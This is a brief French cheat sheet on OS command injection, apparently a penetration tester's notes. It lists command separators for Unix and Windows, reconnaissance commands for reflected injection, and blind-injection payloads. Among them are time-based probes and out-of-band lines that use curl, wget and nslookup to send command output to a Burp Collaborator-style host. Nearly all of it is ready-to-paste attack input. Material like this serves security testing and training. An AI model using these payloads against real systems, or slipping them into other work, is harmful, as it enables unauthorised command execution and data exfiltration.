🐚OS injection

Séparateurs de commandes

Unix	Windows
&	&
&&	&&
|	|
||	||
;	n/a
0x0a	n/a
\n	n/a
`<command>`	n/a
$(<command>)	n/a

Commandes basiques pour payloads reflétés

Utilité	Linux	Windows
Nom de l'utilisateur courant	whoami	whoami
Version du système d'exploitation	uname -a	ver
Config réseau	ifconfig	ipconfig /all
Connexions réseau	netstat -an	netstat -an
Processus actifs	ps -ef	tasklist

En aveugle

Out-Of-Band interaction

||curl+https://your.burp.collab.com/||
||nslookup+your.burp.collab.com||
||wget+https://your.burp.collab.com/||
...

Time based

||sleep+10||
||ping+-c+10+127.0.0.1||

Data exfiltration

||nslookup+`<command>`.your.burp.collab.com||
||curl+https://your.burp.collab.com/`<command>`||
...